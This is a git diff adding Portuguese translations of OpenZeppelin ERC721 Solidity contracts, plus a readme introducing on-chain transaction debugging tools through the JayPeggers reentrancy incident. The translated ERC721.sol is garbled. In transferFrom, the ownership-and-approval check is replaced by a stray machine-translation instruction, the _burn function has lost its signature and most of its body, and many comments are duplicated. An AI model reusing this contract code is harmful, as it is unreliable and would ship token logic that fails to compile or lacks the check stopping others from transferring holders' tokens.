v4.4.1 (utils/introspection/ERC165.sol) + +pragma solidity ^0.8.0; + +import "./IERC165.sol"; + +/** + * @dev Implementação da interface {IERC165}. + * + * Contratos que desejam implementar o ERC165 devem herdar deste contrato e substituir {supportsInterface} para verificar + * o ID de interface adicional que será suportado. Por exemplo: + * + * ```solidity + * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { + * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); + * } + * ``` + * + * Alternativamente, {ERC165Storage} fornece uma implementação mais fácil de usar, mas mais cara. + */ +abstract contract ERC165 is IERC165 { + /** + * @dev Veja {IERC165-supportsInterface}. + */ + function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { + return interfaceId == type(IERC165).interfaceId; + } +} diff --git a/Languages/pt-br/Topics/ERC721/ERC721.sol b/Languages/pt-br/Topics/ERC721/ERC721.sol new file mode 100644 index 000000000..31cdc0da0 --- /dev/null +++ b/Languages/pt-br/Topics/ERC721/ERC721.sol @@ -0,0 +1,497 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contratos (última atualização v4.5.0) (token/ERC721/ERC721.sol) + +pragma solidity ^0.8.0; + +import "./IERC721.sol"; +import "./IERC721Receiver.sol"; +import "./IERC721Metadata.sol"; +import "./Address.sol"; +import "./Context.sol"; +import "./Strings.sol"; +import "./ERC165.sol"; + +/** + * @dev Implementação do https://eips.ethereum.org/EIPS/eip-721[Padrão de Token Não-Fungível ERC721], incluindo + * a extensão de Metadados, mas não incluindo a extensão Enumerável, que está disponível separadamente como + * {ERC721Enumerable}. + */ +contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { + using Address for address; + using Strings for uint256; + + // Nome do token + // Nome do token + string private _name; + + // Símbolo do token + // Código do token + string private _symbol; + + // Mapeamento do ID do token para o endereço do proprietário + // Mapeamento do tokenId para o endereço do proprietário + mapping(uint256 => address) private _owners; + + // Mapeando o endereço do proprietário para a contagem de tokens + // Mapeamento do endereço do proprietário para a quantidade de moedas detidas + mapping(address => uint256) private _balances; + + // Mapeamento do ID do token para o endereço aprovado + // Mapeamento do tokenId para o endereço de autorização + mapping(uint256 => address) private _tokenApprovals; + + // Mapeamento do proprietário para aprovações do operador + // Endereço do proprietário para mapeamento de aprovação em lote + mapping(address => mapping(address => bool)) private _operatorApprovals; + + /** + * @dev Inicializa o contrato definindo um `nome` e um `símbolo` para a coleção de tokens. + */ + // Construtor, precisa definir o nome e o código do token ERC721 + constructor(string memory name_, string memory symbol_) { + _name = name_; + _symbol = symbol_; + } + + /** + * @dev Veja {IERC165-supportsInterface}. + */ + // Implementação do método supportsInterface da interface IERC165 + function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { + return + interfaceId == type(IERC721).interfaceId || + interfaceId == type(IERC721Metadata).interfaceId || + super.supportsInterface(interfaceId); + } + + /** + * @dev Veja {IERC721-balanceOf}. + */ + // Implementação do balanceOf do IERC721, usado para consultar a quantidade de tokens que um endereço possui. + function balanceOf(address owner) public view virtual override returns (uint256) { + require(owner != address(0), "ERC721: balance query for the zero address"); + return _balances[owner]; + } + + /** + * @dev Veja {IERC721-ownerOf}. + */ + // Implementação do ownerOf do IERC721, usado para consultar o proprietário do tokenId + function ownerOf(uint256 tokenId) public view virtual override returns (address) { + address owner = _owners[tokenId]; + require(owner != address(0), "ERC721: owner query for nonexistent token"); + return owner; + } + + /** + * @dev Veja {IERC721Metadata-name}. + */ + // Implementação do método 'name' da interface IERC721Metadata para consultar o nome do token. + function name() public view virtual override returns (string memory) { + return _name; + } + + /** + * @dev Veja {IERC721Metadata-symbol}. + */ + // Implementação da função symbol da interface IERC721Metadata para consultar o código do token. + function symbol() public view virtual override returns (string memory) { + return _symbol; + } + + /** + * @dev Veja {IERC721Metadata-tokenURI}. + */ + // Implementação do tokenURI da IERC721Metadata + function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { + require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); + + string memory baseURI = _baseURI(); + return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; + } + + /** + * @dev URI base para calcular {tokenURI}. Se definido, o URI resultante para cada + * token será a concatenação do `baseURI` e do `tokenId`. Vazio + * por padrão, pode ser substituído em contratos filhos. + */ + // URI base, called by tokenURI(), concatenated with tokenId to form tokenURI, default is empty, needs to be overridden by child contract. + function _baseURI() internal view virtual returns (string memory) { + return ""; + } + + /** + * @dev Veja {IERC721-approve}. + */ + // Implemente o método approve da interface IERC721 para conceder autorização do tokenId para o endereço 'to'. + function approve(address to, uint256 tokenId) public virtual override { + address owner = ERC721.ownerOf(tokenId); + require(to != owner, "ERC721: approval to current owner"); + + require( + _msgSender() == owner || isApprovedForAll(owner, _msgSender()), + "ERC721: approve caller is not owner nor approved for all" + ); + + _approve(to, tokenId); + } + + /** + * @dev Veja {IERC721-getApproved}. + */ + // Implementação do getApproved do IERC721, que consulta o endereço autorizado para o tokenId. + function getApproved(uint256 tokenId) public view virtual override returns (address) { + require(_exists(tokenId), "ERC721: approved query for nonexistent token"); + + return _tokenApprovals[tokenId]; + } + + /** + * @dev Veja {IERC721-setApprovalForAll}. + */ + // Implementação do setApprovalForAll do IERC721 + function setApprovalForAll(address operator, bool approved) public virtual override { + _setApprovalForAll(_msgSender(), operator, approved); + } + + /** + * @dev Veja {IERC721-isApprovedForAll}. + */ + // Implementação do isApprovedForAll do IERC721 + function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { + return _operatorApprovals[owner][operator]; + } + + /** + * @dev Veja {IERC721-transferFrom}. + */ + // Implementar transferFrom de IERC721 + function transferFrom( + address from, + address to, + uint256 tokenId + ) public virtual override { + //solhint-disable-next-line max-line-length + Se o texto contiver alguma parte em 'zh', traduza todo o texto para 'pt-br', caso contrário, mantenha o texto original. + + _transfer(from, to, tokenId); + } + + /** + * @dev Veja {IERC721-safeTransferFrom}. + */ + // Implementação do safeTransferFrom do IERC721 + function safeTransferFrom( + address from, + address to, + uint256 tokenId + ) public virtual override { + safeTransferFrom(from, to, tokenId, ""); + } + + /** + * @dev Veja {IERC721-safeTransferFrom}. + */ + // Implementação do safeTransferFrom do IERC721 + function safeTransferFrom( + address from, + address to, + uint256 tokenId, + bytes memory _data + ) public virtual override { + require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); + _safeTransfer(from, to, tokenId, _data); + } + + /** + * @dev Transfere com segurança o token `tokenId` de `from` para `to`, verificando primeiro se os destinatários do contrato + * estão cientes do protocolo ERC721 para evitar que os tokens fiquem bloqueados para sempre. + * + * `_data` é um dado adicional, não possui um formato especificado e é enviado na chamada para `to`. + * + * Esta função interna é equivalente a {safeTransferFrom} e pode ser usada, por exemplo, + * para implementar mecanismos alternativos para realizar a transferência de tokens, como baseados em assinatura. + * + * Requisitos: + * + * - `from` não pode ser o endereço zero. + * - `to` não pode ser o endereço zero. + * - O token `tokenId` deve existir e ser de propriedade de `from`. + * - Se `to` se refere a um contrato inteligente, ele deve implementar {IERC721Receiver-onERC721Received}, que é chamado durante uma transferência segura. + * + * Emite um evento {Transfer}. + */ + + /** + * @dev Transfere o token `tokenId` de forma segura de `from` para `to`, verificando primeiro se o receptor do contrato entende o protocolo ERC721 para evitar que o token seja bloqueado permanentemente. + * + * `_data` é um dado adicional, sem formato específico, que será chamado pelo contrato `to`. + * + * Esta função interna é equivalente a {safeTransferFrom}. + * + * Requisitos: + * + * - `from` não pode ser o endereço 0. + * - `to` não pode ser o endereço 0. + * - O token `tokenId` deve existir e ser possuído por `from`. + * - Se `to` for um contrato inteligente, ele deve suportar {IERC721Receiver-onERC721Received}. + * + * Esta função emite o evento {Transfer} durante a execução. + */ + function _safeTransfer( + address from, + address to, + uint256 tokenId, + bytes memory _data + ) internal virtual { + _transfer(from, to, tokenId); + require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); + } + + /** + * @dev Retorna se o `tokenId` existe. + * + * Tokens podem ser gerenciados pelo seu proprietário ou contas aprovadas através de {approve} ou {setApprovalForAll}. + * + * Tokens começam a existir quando são criados (`_mint`), + * e param de existir quando são queimados (`_burn`). + */ + // Retorna se o `tokenId` existe (o proprietário não é um endereço 0) + function _exists(uint256 tokenId) internal view virtual returns (bool) { + return _owners[tokenId] != address(0); + } + + /** + * @dev Retorna se `spender` está autorizado a gerenciar `tokenId`. + * + * Requisitos: + * + * - `tokenId` deve existir. + */ + // Retorna se `spender` tem permissão para usar `tokenId` (sendo o proprietário ou autorizado) + function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { + require(_exists(tokenId), "ERC721: operator query for nonexistent token"); + address owner = ERC721.ownerOf(tokenId); + return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); + } + + /** + * @dev Minta com segurança `tokenId` e transfere para `to`. + * + * Requisitos: + * + * - `tokenId` não deve existir. + * - Se `to` se refere a um contrato inteligente, ele deve implementar {IERC721Receiver-onERC721Received}, que é chamado durante uma transferência segura. + * + * Emite um evento {Transfer}. + */ + // Segurança mint `tokenId` e transferir para `to`. Condições: 1. `tokenId` ainda não existe, 2. Se `to` for um contrato inteligente, ele deve suportar a interface {IERC721Receiver-onERC721Received}. + function _safeMint(address to, uint256 tokenId) internal virtual { + _safeMint(to, tokenId, ""); + } + + /** + * @dev Mesmo que {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], com um parâmetro adicional `data` que é + * encaminhado em {IERC721Receiver-onERC721Received} para os destinatários do contrato. + */ + // Implementação segura de mint + function _safeMint( + address to, + uint256 tokenId, + bytes memory _data + ) internal virtual { + _mint(to, tokenId); + require( + _checkOnERC721Received(address(0), to, tokenId, _data), + "ERC721: transfer to non ERC721Receiver implementer" + ); + } + + /** + * @dev Emite um novo token `tokenId` e transfere-o para `to`. + * + * AVISO: O uso deste método é desencorajado, use {_safeMint} sempre que possível. + * + * Requisitos: + * + * - `tokenId` não deve existir. + * - `to` não pode ser o endereço zero. + * + * Emite um evento {Transfer}. + */ + // Função interna, cria um novo token com o ID `tokenId` e transfere para `to`, com as seguintes condições: 1. O token com o ID `tokenId` ainda não existe, 2. `to` não é um endereço 0. Será emitido o evento {Transfer}. + function _mint(address to, uint256 tokenId) internal virtual { + require(to != address(0), "ERC721: mint to the zero address"); + require(!_exists(tokenId), "ERC721: token already minted"); + + _beforeTokenTransfer(address(0), to, tokenId); + + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(address(0), to, tokenId); + + _afterTokenTransfer(address(0), to, tokenId); + } + + /** + * @dev Destroys `tokenId`. + * The approval is cleared when the token is burned. + * + * Requirements: + * + * - `tokenId` must exist. + * + * Emits a {Transfer} event. + */ + /** + * @dev Destroys `tokenId`. + * A aprovação é limpa quando o token é queimado. + * + * Requisitos: + * + * - `tokenId` deve existir. + * + * Emite um evento {Transfer}. + */ + delete _owners[tokenId]; + + emit Transfer(owner, address(0), tokenId); + + _afterTokenTransfer(owner, address(0), tokenId); + } + + /** + * @dev Transfere `tokenId` de `from` para `to`. + * Ao contrário de {transferFrom}, isso não impõe restrições ao msg.sender. + * + * Requisitos: + * + * - `to` não pode ser o endereço zero. + * - O token `tokenId` deve ser de propriedade de `from`. + * + * Emite um evento {Transfer}. + */ + // Função interna que transfere o `tokenId` de `from` para `to`. Condições: 1. `tokenId` é possuído por `from`, 2. `to` não é um endereço 0. Irá emitir o evento {Transfer}. + function _transfer( + address from, + address to, + uint256 tokenId + ) internal virtual { + require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); + require(to != address(0), "ERC721: transfer to the zero address"); + + _beforeTokenTransfer(from, to, tokenId); + + // Limpar autorização + _approve(address(0), tokenId); + + _balances[from] -= 1; + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(from, to, tokenId); + + _afterTokenTransfer(from, to, tokenId); + } + + /** + * @dev Aprova `to` para operar em `tokenId` + * + * Emite um evento {Approval}. + */ + // Função interna, autoriza 'to' a operar 'tokenId'. Dispara o evento {Approval} + function _approve(address to, uint256 tokenId) internal virtual { + _tokenApprovals[tokenId] = to; + emit Approval(ERC721.ownerOf(tokenId), to, tokenId); + } + + /** + * @dev Aprova o `operador` para operar em todos os tokens do `proprietário` + * + * Emite um evento {ApprovalForAll}. + */ + // Função interna para conceder permissão em lote para 'to' operar com todos os tokens do 'owner'. Dispara o evento {ApprovalForAll}. + function _setApprovalForAll( + address owner, + address operator, + bool approved + ) internal virtual { + require(owner != operator, "ERC721: approve to caller"); + _operatorApprovals[owner][operator] = approved; + emit ApprovalForAll(owner, operator, approved); + } + + /** + * @dev Função interna para invocar {IERC721Receiver-onERC721Received} em um endereço de destino. + * A chamada não é executada se o endereço de destino não for um contrato. + * + * @param from endereço que representa o proprietário anterior do token ID fornecido + * @param to endereço de destino que receberá os tokens + * @param tokenId uint256 ID do token a ser transferido + * @param _data bytes dados opcionais a serem enviados junto com a chamada + * @return bool se a chamada retornou corretamente o valor mágico esperado + */ + // Função interna para chamar {IERC721Receiver-onERC721Received} quando `to` é um contrato, evitando que `tokenId` seja acidentalmente enviado para o vácuo negro. + function _checkOnERC721Received( + address from, + address to, + uint256 tokenId, + bytes memory _data + ) private returns (bool) { + if (to.isContract()) { + try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { + return retval == IERC721Receiver.onERC721Received.selector; + } catch (bytes memory reason) { + if (reason.length == 0) { + revert("ERC721: transfer to non ERC721Receiver implementer"); + } else { + assembly { + revert(add(32, reason), mload(reason)) + } + } + } + } else { + return true; + } + } + + /** + * @dev Gancho que é chamado antes de qualquer transferência de token. Isso inclui a criação + * e queima. + * + * Condições de chamada: + * + * - Quando `from` e `to` são ambos diferentes de zero, o `tokenId` de ``from`` será + * transferido para `to`. + * - Quando `from` é zero, `tokenId` será criado para `to`. + * - Quando `to` é zero, o `tokenId` de ``from`` será queimado. + * - `from` e `to` nunca são ambos zero. + * + * Para saber mais sobre ganchos, acesse xref:ROOT:extending-contracts.adoc#using-hooks[Usando Ganchos]. + */ + // Esta função será usada antes da transferência do token, incluindo a criação e destruição. + function _beforeTokenTransfer( + address from, + address to, + uint256 tokenId + ) internal virtual {} + + /** + * @dev Gancho que é chamado após qualquer transferência de tokens. Isso inclui + * criação e queima. + * + * Condições de chamada: + * + * - quando `from` e `to` são ambos diferentes de zero. + * - `from` e `to` nunca são ambos zero. + * + * Para saber mais sobre ganchos, consulte xref:ROOT:extending-contracts.adoc#using-hooks[Usando Ganchos]. + */ + // Esta função será chamada após a transferência do token, incluindo a criação e destruição. + function _afterTokenTransfer( + address from, + address to, + uint256 tokenId + ) internal virtual {} +} diff --git a/Languages/pt-br/Topics/ERC721/IERC165.sol b/Languages/pt-br/Topics/ERC721/IERC165.sol new file mode 100644 index 000000000..f63187855 --- /dev/null +++ b/Languages/pt-br/Topics/ERC721/IERC165.sol @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contratos v4.4.1 (utils/introspection/IERC165.sol) + +pragma solidity ^0.8.0; + +/** + * @dev Interface do padrão ERC165, conforme definido no + * https://eips.ethereum.org/EIPS/eip-165[EIP]. + * + * Implementadores podem declarar suporte a interfaces de contratos, que podem então ser + * consultadas por outros ({ERC165Checker}). + * + * Para uma implementação, veja {ERC165}. + */ +interface IERC165 { + /** + * @dev Retorna verdadeiro se este contrato implementa a interface definida por + * `interfaceId`. Consulte a seção correspondente + * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP] + * para saber mais sobre como esses ids são criados. + * + * Esta chamada de função deve usar menos de 30.000 gas. + */ + function supportsInterface(bytes4 interfaceId) external view returns (bool); +} diff --git a/Languages/pt-br/Topics/ERC721/IERC721.sol b/Languages/pt-br/Topics/ERC721/IERC721.sol new file mode 100644 index 000000000..34863a6aa --- /dev/null +++ b/Languages/pt-br/Topics/ERC721/IERC721.sol @@ -0,0 +1,143 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contratos v4.4.1 (token/ERC721/IERC721.sol) + +pragma solidity ^0.8.0; + +import "./IERC165.sol"; + +/** + * @dev Interface necessária de um contrato compatível com ERC721. + */ +interface IERC721 is IERC165 { + /** + * @dev Emitido quando o token `tokenId` é transferido de `from` para `to`. + */ + event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); + + /** + * @dev Emitido quando `owner` permite que `approved` gerencie o token `tokenId`. + */ + event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); + + /** + * @dev Emitido quando `owner` habilita ou desabilita (`approved`) `operator` para gerenciar todos os seus ativos. + */ + event ApprovalForAll(address indexed owner, address indexed operator, bool approved); + + /** + * @dev Retorna o número de tokens na conta do ``owner``. + */ + function balanceOf(address owner) external view returns (uint256 balance); + + /** + * @dev Retorna o proprietário do token `tokenId`. + * + * Requisitos: + * + * - `tokenId` deve existir. + */ + function ownerOf(uint256 tokenId) external view returns (address owner); + + /** + * @dev Transfere com segurança o token `tokenId` de `from` para `to`, verificando primeiro se os destinatários do contrato + * estão cientes do protocolo ERC721 para evitar que os tokens fiquem bloqueados para sempre. + * + * Requisitos: + * + * - `from` não pode ser o endereço zero. + * - `to` não pode ser o endereço zero. + * - O token `tokenId` deve existir e ser de propriedade de `from`. + * - Se o chamador não for `from`, ele deve ter sido autorizado a mover este token por meio de {approve} ou {setApprovalForAll}. + * - Se `to` se referir a um contrato inteligente, ele deve implementar {IERC721Receiver-onERC721Received}, que é chamado durante uma transferência segura. + * + * Emite um evento {Transfer}. + */ + function safeTransferFrom( + address from, + address to, + uint256 tokenId + ) external; + + /** + * @dev Transfere o token `tokenId` de `from` para `to`. + * + * AVISO: O uso deste método é desencorajado, use {safeTransferFrom} sempre que possível. + * + * Requisitos: + * + * - `from` não pode ser o endereço zero. + * - `to` não pode ser o endereço zero. + * - O token `tokenId` deve ser de propriedade de `from`. + * - Se o chamador não for `from`, ele deve ser aprovado para mover este token por meio de {approve} ou {setApprovalForAll}. + * + * Emite um evento {Transfer}. + */ + function transferFrom( + address from, + address to, + uint256 tokenId + ) external; + + /** + * @dev Concede permissão para `to` transferir o token `tokenId` para outra conta. + * A aprovação é removida quando o token é transferido. + * + * Apenas uma única conta pode ser aprovada por vez, portanto, aprovar o endereço zero remove aprovações anteriores. + * + * Requisitos: + * + * - O chamador deve ser o proprietário do token ou um operador aprovado. + * - `tokenId` deve existir. + * + * Emite um evento {Approval}. + */ + function approve(address to, uint256 tokenId) external; + + /** + * @dev Retorna a conta aprovada para o token `tokenId`. + * + * Requisitos: + * + * - `tokenId` deve existir. + */ + function getApproved(uint256 tokenId) external view returns (address operator); + + /** + * @dev Aprova ou remove `operador` como um operador para o chamador. + * Operadores podem chamar {transferFrom} ou {safeTransferFrom} para qualquer token de propriedade do chamador. + * + * Requisitos: + * + * - O `operador` não pode ser o chamador. + * + * Emite um evento {ApprovalForAll}. + */ + function setApprovalForAll(address operator, bool _approved) external; + + /** + * @dev Retorna se o `operador` está autorizado a gerenciar todos os ativos do `proprietário`. + * + * Veja {setApprovalForAll} + */ + function isApprovedForAll(address owner, address operator) external view returns (bool); + + /** + * @dev Transfere com segurança o token `tokenId` de `from` para `to`. + * + * Requisitos: + * + * - `from` não pode ser o endereço zero. + * - `to` não pode ser o endereço zero. + * - O token `tokenId` deve existir e ser de propriedade de `from`. + * - Se o chamador não for `from`, ele deve ser aprovado para mover este token por meio de {approve} ou {setApprovalForAll}. + * - Se `to` se referir a um contrato inteligente, ele deve implementar {IERC721Receiver-onERC721Received}, que é chamado durante uma transferência segura. + * + * Emite um evento {Transfer}. + */ + function safeTransferFrom( + address from, + address to, + uint256 tokenId, + bytes calldata data + ) external; +} diff --git a/Languages/pt-br/Topics/ERC721/IERC721Metadata.sol b/Languages/pt-br/Topics/ERC721/IERC721Metadata.sol new file mode 100644 index 000000000..f5274f47c --- /dev/null +++ b/Languages/pt-br/Topics/ERC721/IERC721Metadata.sol @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contratos v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) + +pragma solidity ^0.8.0; + +import "./IERC721.sol"; + +/** + * @title Padrão de Token Não-Fungível ERC-721, extensão opcional de metadados + * @dev Veja https://eips.ethereum.org/EIPS/eip-721 + */ +interface IERC721Metadata is IERC721 { + /** + * @dev Retorna o nome da coleção de tokens. + */ + function name() external view returns (string memory); + + /** + * @dev Retorna o símbolo da coleção de tokens. + */ + function symbol() external view returns (string memory); + + /** + * @dev Retorna o Identificador de Recurso Uniforme (URI) para o token `tokenId`. + */ + function tokenURI(uint256 tokenId) external view returns (string memory); +} diff --git a/Languages/pt-br/Topics/ERC721/IERC721Receiver.sol b/Languages/pt-br/Topics/ERC721/IERC721Receiver.sol new file mode 100644 index 000000000..312bb4fe6 --- /dev/null +++ b/Languages/pt-br/Topics/ERC721/IERC721Receiver.sol @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contratos v4.4.1 (token/ERC721/IERC721Receiver.sol) + +pragma solidity ^0.8.0; + +/** + * @title Interface do receptor de tokens ERC721 + * @dev Interface para qualquer contrato que deseje suportar transferências seguras + * de contratos de ativos ERC721. + */ +interface IERC721Receiver { + /** + * @dev Sempre que um token {IERC721} `tokenId` for transferido para este contrato via {IERC721-safeTransferFrom} + * por `operador` de `de`, esta função é chamada. + * + * Ela deve retornar o seletor Solidity para confirmar a transferência do token. + * Se qualquer outro valor for retornado ou a interface não for implementada pelo destinatário, a transferência será revertida. + * + * O seletor pode ser obtido em Solidity com `IERC721Receiver.onERC721Received.selector`. + */ + function onERC721Received( + address operator, + address from, + uint256 tokenId, + bytes calldata data + ) external returns (bytes4); +} diff --git a/Languages/pt-br/Topics/ERC721/Strings.sol b/Languages/pt-br/Topics/ERC721/Strings.sol new file mode 100644 index 000000000..35adc0d05 --- /dev/null +++ b/Languages/pt-br/Topics/ERC721/Strings.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contratos v4.4.1 (utils/Strings.sol) + +pragma solidity ^0.8.0; + +/** + * @dev Operações de string. + */ +library Strings { + bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; + + /** + * @dev Converte um `uint256` para sua representação decimal em `string` ASCII. + */ + function toString(uint256 value) internal pure returns (string memory) { + // Inspirado na implementação da OraclizeAPI - licença MIT + // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol + + if (value == 0) { + return "0"; + } + uint256 temp = value; + uint256 digits; + while (temp != 0) { + digits++; + temp /= 10; + } + bytes memory buffer = new bytes(digits); + while (value != 0) { + digits -= 1; + buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); + value /= 10; + } + return string(buffer); + } + + /** + * @dev Converte um `uint256` para sua representação hexadecimal em `string` ASCII. + */ + function toHexString(uint256 value) internal pure returns (string memory) { + if (value == 0) { + return "0x00"; + } + uint256 temp = value; + uint256 length = 0; + while (temp != 0) { + length++; + temp >>= 8; + } + return toHexString(value, length); + } + + /** + * @dev Converte um `uint256` para sua representação hexadecimal `string` ASCII com comprimento fixo. + */ + function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { + bytes memory buffer = new bytes(2 * length + 2); + buffer[0] = "0"; + buffer[1] = "x"; + for (uint256 i = 2 * length + 1; i > 1; --i) { + buffer[i] = _HEX_SYMBOLS[value & 0xf]; + value >>= 4; + } + require(value == 0, "Strings: hex length insufficient"); + return string(buffer); + } +} diff --git a/Languages/pt-br/Topics/Exams/readme.md b/Languages/pt-br/Topics/Exams/readme.md new file mode 100644 index 000000000..24c86f027 --- /dev/null +++ b/Languages/pt-br/Topics/Exams/readme.md @@ -0,0 +1,6 @@ +## WTF Lista de Exercícios de Solidity + +Regras de nomenclatura de pastas: +- Verificação em sala de aula para cada aula, exemplo: `Quiz_01_HelloWeb3` +- Teste pequeno a cada 5 aulas, exemplo: `Exam_01_05` +- Teste grande para iniciantes, intermediários e avançados, iniciantes são `Exam_Basic`, intermediários são `Exam_Advanced` e aplicados são `Exam_Application`. \ No newline at end of file diff --git a/Languages/pt-br/Topics/Onchain_debug/01_tools/en/readme.md b/Languages/pt-br/Topics/Onchain_debug/01_tools/en/readme.md new file mode 100644 index 000000000..02df3439f --- /dev/null +++ b/Languages/pt-br/Topics/Onchain_debug/01_tools/en/readme.md @@ -0,0 +1,118 @@ +# Depuração de Transações OnChain: 1. Ferramentas + +Autor: [SunSec](https://twitter.com/1nf0s3cpt) + +Os recursos online eram escassos quando comecei a aprender análise de transações OnChain. Embora lentamente, consegui reunir informações fragmentadas para realizar testes e análises. + +A partir dos meus estudos, lançaremos uma série de artigos de segurança Web3 para incentivar mais pessoas a ingressarem na segurança Web3 e criar uma rede segura juntos. + +Na primeira série, vamos apresentar como realizar uma análise OnChain e, em seguida, reproduziremos ataque(s) OnChain. Essa habilidade nos ajudará a entender o processo de ataque, a causa raiz da vulnerabilidade e até mesmo como o robô de arbitragem faz arbitragem! + +## Ferramentas podem melhorar muito a eficiência +Antes de entrar na análise, permita-me apresentar algumas ferramentas comuns. As ferramentas certas podem ajudá-lo a fazer pesquisas de forma mais eficiente. + +### Ferramentas de depuração de transações +[Phalcon](https://phalcon.blocksec.com/) | [Tx.viewer](https://tx.eth.samczsun.com/) | [Cruise](https://cruise.supremacy.team/) | [Ethtx](https://ethtx.info/) | [Tenderly](https://dashboard.tenderly.co/explorer) + +O Transaction Viewer é a ferramenta mais comumente usada, ele é capaz de listar o rastreamento de chamadas de função e os dados de entrada em cada função durante a transação. As ferramentas de visualização de transações são todas semelhantes; a diferença principal é o suporte de cadeia e o suporte de funções auxiliares. Eu pessoalmente uso o Phalcon e o Transaction Viewer do Sam. Se eu encontrar cadeias não suportadas, usarei o Tenderly. O Tenderly suporta a maioria das cadeias, mas a legibilidade é limitada e a análise pode ser lenta usando sua função de depuração. No entanto, é uma das primeiras ferramentas que aprendi junto com o Ethtx. + +#### Comparação de suporte de cadeia + +Phalcon: `Ethereum, BSC, Cronos, Avalanche C-Chain, Polygon` + +Transaction viewer do Sam: `Ethereum, Polygon, BSC, Avalanche C-Chain, Fantom, Arbitrum, Optimism` + +Cruise: `Ethereum, BSC, Polygon, Arbitrum, Fantom, Optimism, Avalanche, Celo, Gnosis` + +Ethtx: `Ethereum, Goerli testnet` + +Tendery: `Ethereum, Polygon, BSC, Sepolia, Goerli, Gnosis, POA, RSK, Avalanche C-Chain, Arbitrum, Optimism, Fantom, Moonbeam, Moonriver` + +#### Laboratório +Vamos analisar o incidente JayPeggers - Validação Insuficiente + Reentrância como exemplo de transação [TXID](https://phalcon.blocksec.com/tx/eth/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6) para dissecar. + +Primeiro, uso a ferramenta Phalcon desenvolvida pela Blocksec para ilustrar. As informações básicas e as alterações de saldo da transação podem ser vistas na figura abaixo. A partir das alterações de saldo, podemos ver rapidamente quanto lucro o atacante obteve. Neste exemplo, o atacante obteve um lucro de 15,32 ETH. + +![210571234-402d96aa-fe5e-4bc4-becc-190bd5a78e68-2](https://user-images.githubusercontent.com/107249780/210686382-cc02cc6a-b8ec-4cb7-ac19-402cd8ff86f6.png) + +Visualização do Fluxo de Chamadas - É uma invocação de função com informações de rastreamento e logs de eventos. Ele nos mostra a invocação da chamada, o nível de chamada de função desta transação, se foi usado um flash loan, quais projetos estão envolvidos, quais funções são chamadas e quais parâmetros e dados brutos são trazidos, etc. + +![圖片](https://user-images.githubusercontent.com/52526645/210572053-eafdf62a-7ebe-4caa-a905-045e792add2b.png) + +O Phalcon 2.0 adicionou fluxo de fundos, e a análise de código-fonte + depuração mostra diretamente o código-fonte, os parâmetros e os valores de retorno juntamente com o rastreamento, o que é mais conveniente para análise. + +![image](https://user-images.githubusercontent.com/107249780/210821062-d1da8d1a-9615-4f1f-838d-34f27b9c3f41.png) + +Agora vamos experimentar o Transaction Viewer do Sam na mesma [TXID](https://tx.eth.samczsun.com/ethereum/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6). O Sam integra muitas ferramentas nele, como mostrado na imagem abaixo, você pode ver a alteração no Storage e o Gás consumido por cada chamada. + +![210574290-790f6129-aa82-4152-b3e1-d21820524a0a-2](https://user-images.githubusercontent.com/107249780/210686653-f964a682-d2a7-4b49-bafc-c9a2b0fa2c55.png) + +Clique em Call à esquerda para decodificar os dados de entrada brutos. + +![圖片](https://user-images.githubusercontent.com/52526645/210575619-89c8e8de-e2f9-4243-9646-0661b9483913.png) + +Agora vamos mudar para o Tendery para analisar a mesma [TXID](https://dashboard.tenderly.co/tx/mainnet/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6), você pode ver as informações básicas como outras ferramentas. Mas usando a função de depuração, não é visualizado e precisa ser analisado passo a passo. No entanto, a vantagem é que você pode visualizar o código e o processo de conversão dos dados de entrada durante a depuração. + +![圖片](https://user-images.githubusercontent.com/52526645/210577802-c455545c-80d7-4f35-974a-dadbe59c626e.png) + +Isso pode nos ajudar a esclarecer todas as coisas que essa transação fez. Antes de escrever o POC, podemos executar um ataque de replay? Sim! Tanto o Tendery quanto o Phalcon suportam transações simuladas, você pode encontrar um botão Re-Simulate no canto superior direito na figura acima. A ferramenta preencherá automaticamente os valores dos parâmetros da transação para você, como mostrado na figura abaixo. Os parâmetros podem ser alterados arbitrariamente de acordo com as necessidades de simulação, como alterar o número do bloco, From, Gas, dados de entrada, etc. + 